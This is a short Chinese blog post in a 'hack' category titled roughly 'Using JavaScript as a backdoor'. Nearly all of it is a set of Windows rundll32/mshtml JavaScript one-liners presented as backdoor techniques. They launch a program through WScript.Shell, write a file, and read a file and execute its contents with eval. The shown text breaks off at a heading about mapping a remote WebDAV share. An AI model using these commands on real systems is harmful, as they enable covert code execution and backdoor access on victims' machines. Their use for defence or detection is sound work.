利用Javascript做后门的利用方式

最新推荐文章于 2024-05-27 09:39:29 发布

K'illCode

最新推荐文章于 2024-05-27 09:39:29 发布

阅读量2.1k

点赞数

分类专栏： hack

本文链接：https://blog.youkuaiyun.com/Dome_/article/details/104905331

版权

本文探讨了如何使用Javascript作为后门，实现执行命令、写入文件、读取执行文件、映射远程和本地共享、从文件读取并执行命令、通过HTTP获取指令以及将结果POST回服务器等功能。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

//Execute A Command

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("calc");

//Write To A File

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";fso=new%20ActiveXObject("Scripting.FileSystemObject");a=fso.CreateTextFile("c:\\Temp\\testfile.txt",true);a.WriteLine("Test");a.Close();self.close;

//Read and Execute From A File

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();fso=new%20ActiveXObject("Scripting.FileSystemObject");f=fso.OpenTextFile("c:\\Temp\\testfile.txt",1);eval((f.ReadAll()));

//Map A Remote Share (WEBDAV)